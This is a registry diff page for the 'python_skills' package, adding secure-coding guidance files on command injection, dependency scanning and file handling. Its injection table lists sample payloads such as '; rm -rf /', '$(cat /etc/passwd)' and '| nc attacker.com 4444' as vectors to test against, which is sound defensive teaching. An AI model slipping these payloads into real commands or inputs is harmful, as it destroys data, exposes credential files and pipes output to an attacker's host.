python-skills 1.0.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (105) hide show
  1. python_skills/__init__.py +10 -0
  2. python_skills/__main__.py +6 -0
  3. python_skills/adapters/__init__.py +48 -0
  4. python_skills/adapters/agent_skills.py +415 -0
  5. python_skills/adapters/aider_adapter.py +226 -0
  6. python_skills/adapters/base.py +153 -0
  7. python_skills/adapters/claude.py +474 -0
  8. python_skills/adapters/cline.py +332 -0
  9. python_skills/adapters/codex.py +24 -0
  10. python_skills/adapters/continue_adapter.py +198 -0
  11. python_skills/adapters/cursor.py +327 -0
  12. python_skills/adapters/gemini.py +26 -0
  13. python_skills/adapters/goose.py +26 -0
  14. python_skills/adapters/junie.py +25 -0
  15. python_skills/adapters/kiro.py +382 -0
  16. python_skills/adapters/opencode.py +27 -0
  17. python_skills/adapters/roo.py +25 -0
  18. python_skills/adapters/universal.py +203 -0
  19. python_skills/adapters/vscode.py +27 -0
  20. python_skills/adapters/windsurf.py +26 -0
  21. python_skills/adapters/zed.py +27 -0
  22. python_skills/cli.py +326 -0
  23. python_skills/config.py +160 -0
  24. python_skills/detector.py +152 -0
  25. python_skills/installer.py +163 -0
  26. python_skills/markers.py +115 -0
  27. python_skills/skills/__init__.py +14 -0
  28. python_skills/skills/loader.py +171 -0
  29. python_skills/skills/metadata.py +152 -0
  30. python_skills/skills/registry.py +101 -0
  31. python_skills/state.py +204 -0
  32. python_skills-1.0.0.dist-info/METADATA +99 -0
  33. python_skills-1.0.0.dist-info/RECORD +105 -0
  34. python_skills-1.0.0.dist-info/WHEEL +4 -0
  35. python_skills-1.0.0.dist-info/entry_points.txt +2 -0
  36. python_skills-1.0.0.dist-info/licenses/LICENSE +21 -0
  37. skills/advanced_python.md +239 -0
  38. skills/anti_patterns/index.md +406 -0
  39. skills/comprehensions.md +167 -0
  40. skills/control_flow.md +175 -0
  41. skills/data_structures.md +243 -0
  42. skills/debugging/common_bugs.md +222 -0
  43. skills/debugging/inspection_techniques.md +249 -0
  44. skills/debugging/root_cause.md +203 -0
  45. skills/engineering/application_logging.md +195 -0
  46. skills/engineering/cli_apps.md +207 -0
  47. skills/engineering/configuration.md +218 -0
  48. skills/engineering/database.md +240 -0
  49. skills/engineering/dependency_management.md +205 -0
  50. skills/engineering/http_clients.md +267 -0
  51. skills/engineering/modules_packages.md +211 -0
  52. skills/engineering/packaging.md +197 -0
  53. skills/engineering/project_structure.md +155 -0
  54. skills/engineering/pyproject_toml.md +302 -0
  55. skills/engineering/virtual_environments.md +206 -0
  56. skills/functions.md +244 -0
  57. skills/generation/async_concurrency.md +291 -0
  58. skills/generation/error_handling.md +276 -0
  59. skills/generation/protocols_generics.md +243 -0
  60. skills/generation/type_hints.md +290 -0
  61. skills/generation/validation_pipeline.md +274 -0
  62. skills/generation/workflow.md +190 -0
  63. skills/oop.md +228 -0
  64. skills/quality/abstractions.md +154 -0
  65. skills/quality/comments.md +177 -0
  66. skills/quality/documentation.md +176 -0
  67. skills/quality/duplication.md +137 -0
  68. skills/quality/maintainability.md +142 -0
  69. skills/quality/naming.md +171 -0
  70. skills/quality/quality_functions.md +245 -0
  71. skills/quality/readability.md +239 -0
  72. skills/quality/type_annotations.md +192 -0
  73. skills/refactoring/behavior_preservation.md +157 -0
  74. skills/refactoring/incremental.md +187 -0
  75. skills/refactoring/interface_stability.md +199 -0
  76. skills/refactoring/safe_refactoring.md +206 -0
  77. skills/security/auth_boundaries.md +200 -0
  78. skills/security/command_injection.md +207 -0
  79. skills/security/dependency_risks.md +282 -0
  80. skills/security/file_handling.md +156 -0
  81. skills/security/input_validation.md +190 -0
  82. skills/security/path_traversal.md +172 -0
  83. skills/security/secrets.md +171 -0
  84. skills/security/sql_injection.md +188 -0
  85. skills/security/unsafe_deserialization.md +164 -0
  86. skills/stdlib/argparse.md +178 -0
  87. skills/stdlib/collections.md +212 -0
  88. skills/stdlib/datetime.md +187 -0
  89. skills/stdlib/functools.md +238 -0
  90. skills/stdlib/itertools.md +183 -0
  91. skills/stdlib/json.md +162 -0
  92. skills/stdlib/logging.md +185 -0
  93. skills/stdlib/os_sys.md +184 -0
  94. skills/stdlib/pathlib.md +218 -0
  95. skills/stdlib/re.md +171 -0
  96. skills/stdlib/statistics.md +112 -0
  97. skills/stdlib/subprocess.md +211 -0
  98. skills/testing/async_tests.md +249 -0
  99. skills/testing/coverage.md +168 -0
  100. skills/testing/edge_cases.md +197 -0
  101. skills/testing/fixtures_mocks.md +203 -0
  102. skills/testing/organization.md +205 -0
  103. skills/testing/parameterized.md +174 -0
  104. skills/testing/regression_tests.md +165 -0
  105. skills/variables_types.md +107 -0
@@ -0,0 +1,207 @@
1
+ # Security: Command Injection Prevention
2
+
3
+ **Purpose**: Prevent command injection when executing subprocesses.
4
+
5
+ **When to use**: Any `subprocess` usage.
6
+ ---
7
+ ---
8
+ name: security_command_injection
9
+ purpose: Prevent command injection when executing subprocesses
10
+ category: security
11
+ triggers:
12
+ - subprocess
13
+ - command injection
14
+ - shell
15
+ - os.system
16
+ - popen
17
+ - exec
18
+ dependencies:
19
+ - stdlib/subprocess.md
20
+ - security/path_traversal.md
21
+ - security/input_validation.md
22
+ priority: primary
23
+ estimated_tokens: 1600
24
+ ---
25
+
26
+ ## Core Rules
27
+
28
+ ### Never Use shell=True with User Input
29
+ ```python
30
+ # NEVER
31
+ subprocess.run(f"echo {user_input}", shell=True)
32
+ subprocess.run("ls " + user_dir, shell=True)
33
+ subprocess.run(f"process {filename}", shell=True)
34
+
35
+ # ALWAYS use list form
36
+ subprocess.run(["echo", user_input])
37
+ subprocess.run(["ls", user_dir])
38
+ subprocess.run(["process", filename])
39
+ ```
40
+
41
+ ### Validate/Allowlist Commands
42
+ ```python
43
+ ALLOWED_COMMANDS = {
44
+ "git": ["git"],
45
+ "docker": ["docker"],
46
+ "kubectl": ["kubectl"],
47
+ }
48
+
49
+ def safe_run(command: str, args: list[str], **kwargs) -> subprocess.CompletedProcess:
50
+ if command not in ALLOWED_COMMANDS:
51
+ raise ValueError(f"Command not allowed: {command}")
52
+
53
+ full_cmd = [command] + args
54
+ return subprocess.run(full_cmd, **kwargs)
55
+ ```
56
+
57
+ ### Path Validation
58
+ ```python
59
+ def safe_path(user_input: str, base: Path) -> Path:
60
+ """Resolve path and ensure it's within base directory."""
61
+ path = (base / user_input).resolve()
62
+ if not path.is_relative_to(base.resolve()):
63
+ raise ValueError("Path traversal attempt")
64
+ return path
65
+
66
+ # Usage
67
+ safe_file = safe_path(user_filename, UPLOAD_DIR)
68
+ subprocess.run(["process", str(safe_file)])
69
+ ```
70
+
71
+ ### Environment Sanitization
72
+ ```python
73
+ # Clean environment for subprocess
74
+ CLEAN_ENV = {
75
+ "PATH": "/usr/bin:/bin",
76
+ "LANG": "C.UTF-8",
77
+ "HOME": "/tmp",
78
+ }
79
+
80
+ subprocess.run(cmd, env=CLEAN_ENV, ...)
81
+
82
+ # Or inherit but remove sensitive
83
+ env = os.environ.copy()
84
+ for key in ["SECRET_KEY", "DB_PASSWORD", "API_TOKEN"]:
85
+ env.pop(key, None)
86
+ subprocess.run(cmd, env=env, ...)
87
+ ```
88
+
89
+ ### shlex for Complex Arguments
90
+ ```python
91
+ # When you MUST parse a string command (legacy integration)
92
+ import shlex
93
+
94
+ def run_legacy_command(cmd_string: str) -> subprocess.CompletedProcess:
95
+ # shlex splits safely, preserving quoted arguments
96
+ cmd_list = shlex.split(cmd_string)
97
+ # Still validate the command itself
98
+ if cmd_list[0] not in ALLOWED_COMMANDS:
99
+ raise ValueError(f"Command not allowed: {cmd_list[0]}")
100
+ return subprocess.run(cmd_list, capture_output=True, text=True)
101
+
102
+ # Input: 'git commit -m "fix: update"' -> ['git', 'commit', '-m', 'fix: update']
103
+ # NOT: ['git', 'commit', '-m', 'fix:', 'update'] (naive split fails)
104
+ ```
105
+
106
+ ---
107
+
108
+ ## Decision Rules
109
+
110
+ | Need | Pattern |
111
+ |------|---------|
112
+ | Run command | List form, no shell |
113
+ | User input as arg | Validate + list form |
114
+ | User input as path | Resolve + `is_relative_to` |
115
+ | Multiple commands | Chain `Popen` (no shell pipe) |
116
+ | Shell features (glob, vars) | Reimplement in Python |
117
+ | Parse string command | `shlex.split()` + validate |
118
+
119
+ ---
120
+
121
+ ## Preferred Patterns
122
+
123
+ ```python
124
+ def run_command(
125
+ cmd: list[str],
126
+ *,
127
+ cwd: Path | None = None,
128
+ timeout: float = 30.0,
129
+ env: dict[str, str] | None = None,
130
+ input_data: str | None = None,
131
+ allowlist: set[str] | None = None,
132
+ ) -> subprocess.CompletedProcess:
133
+ """Safe subprocess wrapper."""
134
+
135
+ # Validate command
136
+ if not cmd or not isinstance(cmd, list):
137
+ raise ValueError("Command must be non-empty list")
138
+
139
+ if allowlist and cmd[0] not in allowlist:
140
+ raise ValueError(f"Command not allowed: {cmd[0]}")
141
+
142
+ # Validate paths in args
143
+ for arg in cmd[1:]:
144
+ if isinstance(arg, Path):
145
+ # Could add path validation here
146
+ pass
147
+
148
+ return subprocess.run(
149
+ cmd,
150
+ capture_output=True,
151
+ text=True,
152
+ encoding="utf-8",
153
+ errors="replace",
154
+ timeout=timeout,
155
+ check=False,
156
+ cwd=cwd,
157
+ env=env,
158
+ input=input_data,
159
+ )
160
+
161
+ # Usage
162
+ result = run_command(
163
+ ["docker", "build", "-t", image_name, "."],
164
+ allowlist={"docker"},
165
+ timeout=300,
166
+ )
167
+ ```
168
+
169
+ ---
170
+
171
+ ## Common Injection Vectors (Test These)
172
+
173
+ | Vector | Example | Mitigation |
174
+ |--------|---------|------------|
175
+ | Command separator | `; rm -rf /` | List form, no shell |
176
+ | Subshell | `$(cat /etc/passwd)` | No shell |
177
+ | Backticks | `` `id` `` | No shell |
178
+ | Pipe | `| nc attacker.com 4444` | No shell |
179
+ | AND/OR | `&& cat /etc/shadow` | No shell |
180
+ | Newline | `\nmalicious_cmd` | No shell, validate input |
181
+ | Environment variable | `${IFS}cat${IFS}/etc/passwd` | Clean env, no shell |
182
+
183
+ ---
184
+
185
+ ## Avoid
186
+
187
+ - `shell=True` (except static trusted commands)
188
+ - `os.system()`, `os.popen()`
189
+ - String commands
190
+ - User input in command without validation
191
+ - Inheriting full environment
192
+
193
+ ---
194
+
195
+ ## Validation Considerations
196
+
197
+ - Test with injection payloads (`; rm -rf /`, `$(cat /etc/passwd)`, etc.)
198
+ - `bandit` B602, B603, B605, B607 checks
199
+ - Verify allowlist enforcement
200
+
201
+ ---
202
+
203
+ ## Related Skills
204
+
205
+ - `stdlib/subprocess.md`
206
+ - `security/path_traversal.md`
207
+ - `security/input_validation.md`
@@ -0,0 +1,282 @@
1
+ # Security: Dependency Risks
2
+
3
+ **Purpose**: Manage security risks from third-party dependencies.
4
+
5
+ **When to use**: Adding dependencies, updating, CI/CD pipeline.
6
+ ---
7
+ ---
8
+ name: security_dependency_risks
9
+ purpose: Manage security risks from third-party dependencies
10
+ category: security
11
+ triggers:
12
+ - dependency
13
+ - vulnerability
14
+ - supply chain
15
+ - pip-audit
16
+ - safety
17
+ - lock file
18
+ - transitive
19
+ dependencies:
20
+ - engineering/dependency_management.md
21
+ - engineering/pyproject_toml.md
22
+ - engineering/virtual_environments.md
23
+ - engineering/packaging.md
24
+ priority: primary
25
+ estimated_tokens: 1700
26
+ ---
27
+
28
+ ## Core Rules
29
+
30
+ ### Dependency Evaluation Checklist
31
+ Before adding a dependency:
32
+ - [ ] **Necessary?** Stdlib or existing dep can't solve it
33
+ - [ ] **Maintained?** Recent releases, open issues responded to
34
+ - [ ] **Popular?** Sufficient usage (downloads, dependents)
35
+ - [ ] **License?** Compatible with project
36
+ - [ ] **Security history?** No unpatched vulnerabilities
37
+ - [ ] **Transitive deps?** Minimal, well-known
38
+ - [ ] **Size?** Reasonable install footprint
39
+
40
+ ### Scanning Tools
41
+ ```bash
42
+ # Safety (PyPI vulnerability database)
43
+ pip install safety
44
+ safety check
45
+ safety check --json
46
+
47
+ # pip-audit (uses OSV database)
48
+ pip install pip-audit
49
+ pip-audit
50
+ pip-audit --desc
51
+
52
+ # GitHub Dependabot / GitLab Dependency Scanning
53
+ # Configure in CI/CD
54
+
55
+ # OWASP Dependency Check
56
+ # For comprehensive scanning
57
+ ```
58
+
59
+ ### Lock File Security
60
+ ```bash
61
+ # Generate with hashes (pip-tools)
62
+ pip-compile --generate-hashes pyproject.toml -o requirements.txt
63
+
64
+ # Verify on install
65
+ pip install --require-hashes -r requirements.txt
66
+
67
+ # uv (includes hashes by default)
68
+ uv pip compile pyproject.toml -o requirements.txt
69
+ uv sync # Verifies hashes
70
+ ```
71
+
72
+ ### Update Policy
73
+ ```bash
74
+ # Check outdated
75
+ uv pip list --outdated
76
+ pip list --outdated
77
+
78
+ # Security updates: IMMEDIATE
79
+ # Patch/feature updates: Scheduled (weekly/monthly)
80
+
81
+ # Test before deploying updates
82
+ uv pip install --upgrade package
83
+ pytest # Full suite
84
+ ```
85
+
86
+ ### Private Package Index
87
+ ```bash
88
+ # Use private index for internal packages
89
+ pip install --index-url https://private.pypi.org/simple my-package
90
+
91
+ # Or in pyproject.toml
92
+ [tool.uv]
93
+ index-url = "https://private.pypi.org/simple"
94
+ ```
95
+
96
+ ### Supply Chain Security
97
+ ```toml
98
+ # pyproject.toml - require hashes for production deps
99
+ [project]
100
+ dependencies = [
101
+ "requests==2.31.0 --hash=sha256:...",
102
+ ]
103
+
104
+ # Or use pip-tools with --generate-hashes
105
+ ```
106
+
107
+ ---
108
+
109
+ ## Decision Rules
110
+
111
+ | Risk Level | Action |
112
+ |------------|--------|
113
+ | Critical vulnerability | Update immediately, emergency deploy |
114
+ | High vulnerability | Update within 24-48 hours |
115
+ | Medium vulnerability | Update within week |
116
+ | Low vulnerability | Next scheduled update |
117
+ | Unmaintained dependency | Plan replacement |
118
+ | License conflict | Replace immediately |
119
+
120
+ ---
121
+
122
+ ## Preferred Patterns
123
+
124
+ ```bash
125
+ # CI Pipeline
126
+ # 1. Scan on every PR
127
+ safety check --json
128
+ pip-audit --desc
129
+
130
+ # 2. Scheduled scan (daily/weekly)
131
+ # GitHub Actions cron / GitLab scheduled pipeline
132
+
133
+ # 3. Automated PR for updates
134
+ # dependabot.yml / renovate.json
135
+
136
+ # 4. Block merge on critical vulns
137
+ # Required status check
138
+ ```
139
+
140
+ ### dependabot.yml Example
141
+ ```yaml
142
+ # .github/dependabot.yml
143
+ version: 2
144
+ updates:
145
+ - package-ecosystem: "pip"
146
+ directory: "/"
147
+ schedule:
148
+ interval: "weekly"
149
+ day: "monday"
150
+ labels:
151
+ - "dependencies"
152
+ - "security"
153
+ allow:
154
+ - dependency-type: "direct"
155
+ ignore:
156
+ - dependency-name: "some-package"
157
+ versions: [">=2.0.0"]
158
+ ```
159
+
160
+ ### renovate.json Example
161
+ ```json
162
+ {
163
+ "extends": ["config:base"],
164
+ "packageRules": [
165
+ {
166
+ "matchUpdateType": "security",
167
+ "automerge": true,
168
+ "schedule": ["after 6pm", "before 9am"]
169
+ }
170
+ ],
171
+ "pip": {
172
+ "file": "requirements.txt"
173
+ }
174
+ }
175
+ ```
176
+
177
+ ### Python Code: Automated Check
178
+ ```python
179
+ import subprocess
180
+ import json
181
+ from pathlib import Path
182
+
183
+ def scan_dependencies(requirements_path: Path) -> dict:
184
+ """Run safety and pip-audit, return combined results."""
185
+ results = {"critical": [], "high": [], "medium": [], "low": []}
186
+
187
+ # Safety
188
+ try:
189
+ proc = subprocess.run(
190
+ ["safety", "check", "--json", "-r", str(requirements_path)],
191
+ capture_output=True, text=True, timeout=60
192
+ )
193
+ if proc.returncode != 0:
194
+ for vuln in json.loads(proc.stdout):
195
+ severity = vuln.get("severity", "unknown").lower()
196
+ if severity in results:
197
+ results[severity].append(vuln)
198
+ except Exception:
199
+ pass
200
+
201
+ # pip-audit
202
+ try:
203
+ proc = subprocess.run(
204
+ ["pip-audit", "--desc", "--format", "json", "-r", str(requirements_path)],
205
+ capture_output=True, text=True, timeout=60
206
+ )
207
+ if proc.returncode != 0:
208
+ data = json.loads(proc.stdout)
209
+ for vuln in data.get("vulnerabilities", []):
210
+ severity = vuln.get("severity", "unknown").lower()
211
+ if severity in results:
212
+ results[severity].append(vuln)
213
+ except Exception:
214
+ pass
215
+
216
+ return results
217
+
218
+ def has_critical_vulns(results: dict) -> bool:
219
+ return len(results.get("critical", [])) > 0 or len(results.get("high", [])) > 0
220
+ ```
221
+
222
+ ---
223
+
224
+ ## Decision Rules
225
+
226
+ | Risk Level | Action |
227
+ |------------|--------|
228
+ | Critical vulnerability | Update immediately, emergency deploy |
229
+ | High vulnerability | Update within 24-48 hours |
230
+ | Medium vulnerability | Update within week |
231
+ | Low vulnerability | Next scheduled update |
232
+ | Unmaintained dependency | Plan replacement |
233
+ | License conflict | Replace immediately |
234
+
235
+ ---
236
+
237
+ ## Preferred Patterns
238
+
239
+ ```bash
240
+ # CI Pipeline
241
+ # 1. Scan on every PR
242
+ safety check --json
243
+ pip-audit --desc
244
+
245
+ # 2. Scheduled scan (daily/weekly)
246
+ # GitHub Actions cron / GitLab scheduled pipeline
247
+
248
+ # 3. Automated PR for updates
249
+ # dependabot.yml / renovate.json
250
+
251
+ # 4. Block merge on critical vulns
252
+ # Required status check
253
+ ```
254
+
255
+ ---
256
+
257
+ ## Avoid
258
+
259
+ - No vulnerability scanning
260
+ - Pinned exact versions without updates (`==1.0.0` forever)
261
+ - No lock file for applications
262
+ - Ignoring transitive dependencies
263
+ - Using packages with known vulnerabilities
264
+ - Installing from untrusted indexes
265
+
266
+ ---
267
+
268
+ ## Validation Considerations
269
+
270
+ - CI fails on critical/high vulnerabilities
271
+ - Lock file hashes verified on install
272
+ - SBOM (Software Bill of Materials) generated
273
+ - License compliance checked
274
+
275
+ ---
276
+
277
+ ## Related Skills
278
+
279
+ - `engineering/dependency_management.md`
280
+ - `engineering/pyproject_toml.md`
281
+ - `engineering/virtual_environments.md`
282
+ - `engineering/packaging.md`
@@ -0,0 +1,156 @@
1
+ # Security: File Handling
2
+
3
+ **Purpose**: Safe file operations to prevent information disclosure and corruption.
4
+
5
+ **When to use**: Reading, writing, uploading, serving files.
6
+
7
+ ---
8
+
9
+ ## Core Rules
10
+
11
+ ### Atomic Writes
12
+ ```python
13
+ import tempfile
14
+ from pathlib import Path
15
+
16
+ def atomic_write(path: Path, content: str | bytes, encoding: str = "utf-8") -> None:
17
+ """Write atomically to prevent partial reads."""
18
+ path.parent.mkdir(parents=True, exist_ok=True)
19
+
20
+ # Write to temp file in same directory (same filesystem)
21
+ with tempfile.NamedTemporaryFile(
22
+ mode="w" if isinstance(content, str) else "wb",
23
+ dir=path.parent,
24
+ delete=False,
25
+ encoding=encoding if isinstance(content, str) else None,
26
+ ) as tmp:
27
+ tmp.write(content)
28
+ tmp_path = Path(tmp.name)
29
+
30
+ # Atomic replace
31
+ tmp_path.replace(path)
32
+
33
+ # Usage
34
+ atomic_write(Path("config.json"), json.dumps(config))
35
+ ```
36
+
37
+ ### Safe File Reading
38
+ ```python
39
+ def read_file_safe(path: Path, max_size: int = 10_000_000) -> bytes:
40
+ """Read file with size limit."""
41
+ stat = path.stat()
42
+ if stat.st_size > max_size:
43
+ raise ValueError(f"File too large: {stat.st_size} > {max_size}")
44
+
45
+ return path.read_bytes()
46
+
47
+ def read_text_safe(path: Path, encoding: str = "utf-8", max_size: int = 1_000_000) -> str:
48
+ return read_file_safe(path, max_size).decode(encoding)
49
+ ```
50
+
51
+ ### Temporary Files
52
+ ```python
53
+ import tempfile
54
+
55
+ # GOOD — secure temp file
56
+ with tempfile.NamedTemporaryFile(mode="w", delete=False) as tmp:
57
+ tmp.write(data)
58
+ tmp_path = Path(tmp.name)
59
+ try:
60
+ process(tmp_path)
61
+ finally:
62
+ tmp_path.unlink(missing_ok=True)
63
+
64
+ # BETTER — TemporaryDirectory (auto cleanup)
65
+ with tempfile.TemporaryDirectory() as tmpdir:
66
+ tmp_path = Path(tmpdir) / "file.txt"
67
+ tmp_path.write_text(data)
68
+ process(tmp_path)
69
+ # Auto cleanup on exit
70
+ ```
71
+
72
+ ### Permissions
73
+ ```python
74
+ # Don't make world-writable
75
+ path.write_text(content)
76
+ path.chmod(0o600) # Owner read/write only
77
+
78
+ # For secrets
79
+ path.write_text(secret)
80
+ path.chmod(0o400) # Owner read only
81
+ ```
82
+
83
+ ### Path Validation (Recap)
84
+ ```python
85
+ # Always validate before operations
86
+ def serve_file(user_path: str, root: Path) -> FileResponse:
87
+ safe = safe_path(user_path, root) # From path_traversal.md
88
+ if not safe.is_file():
89
+ raise FileNotFoundError()
90
+ return FileResponse(safe)
91
+ ```
92
+
93
+ ---
94
+
95
+ ## Decision Rules
96
+
97
+ | Operation | Pattern |
98
+ |-----------|---------|
99
+ | Write config/data | Atomic write (temp + replace) |
100
+ | Read untrusted file | Size limit + validation |
101
+ | Temp processing | `TemporaryDirectory` |
102
+ | Upload handling | Validate name, size, type, stream write |
103
+ | Log rotation | `RotatingFileHandler` |
104
+
105
+ ---
106
+
107
+ ## Preferred Patterns
108
+
109
+ ```python
110
+ class SafeFileManager:
111
+ def __init__(self, base_dir: Path, max_file_size: int = 10_000_000):
112
+ self.base_dir = base_dir.resolve()
113
+ self.max_size = max_file_size
114
+
115
+ def write(self, rel_path: str, content: str | bytes) -> Path:
116
+ path = self._validate(rel_path)
117
+ atomic_write(path, content)
118
+ return path
119
+
120
+ def read(self, rel_path: str) -> bytes:
121
+ path = self._validate(rel_path)
122
+ return read_file_safe(path, self.max_size)
123
+
124
+ def _validate(self, rel_path: str) -> Path:
125
+ requested = (self.base_dir / rel_path).resolve()
126
+ if not requested.is_relative_to(self.base_dir):
127
+ raise SecurityError("Path traversal")
128
+ return requested
129
+ ```
130
+
131
+ ---
132
+
133
+ ## Avoid
134
+
135
+ - Direct writes to final path (partial reads possible)
136
+ - No size limits on reads
137
+ - World-writable files
138
+ - Predictable temp file names
139
+ - Leaving temp files behind
140
+
141
+ ---
142
+
143
+ ## Validation Considerations
144
+
145
+ - Test concurrent writes (atomicity)
146
+ - Test size limit enforcement
147
+ - Test path traversal attempts
148
+ - Test cleanup on exception
149
+
150
+ ---
151
+
152
+ ## Related Skills
153
+
154
+ - `security/path_traversal.md`
155
+ - `security/secrets.md`
156
+ - `stdlib/pathlib.md`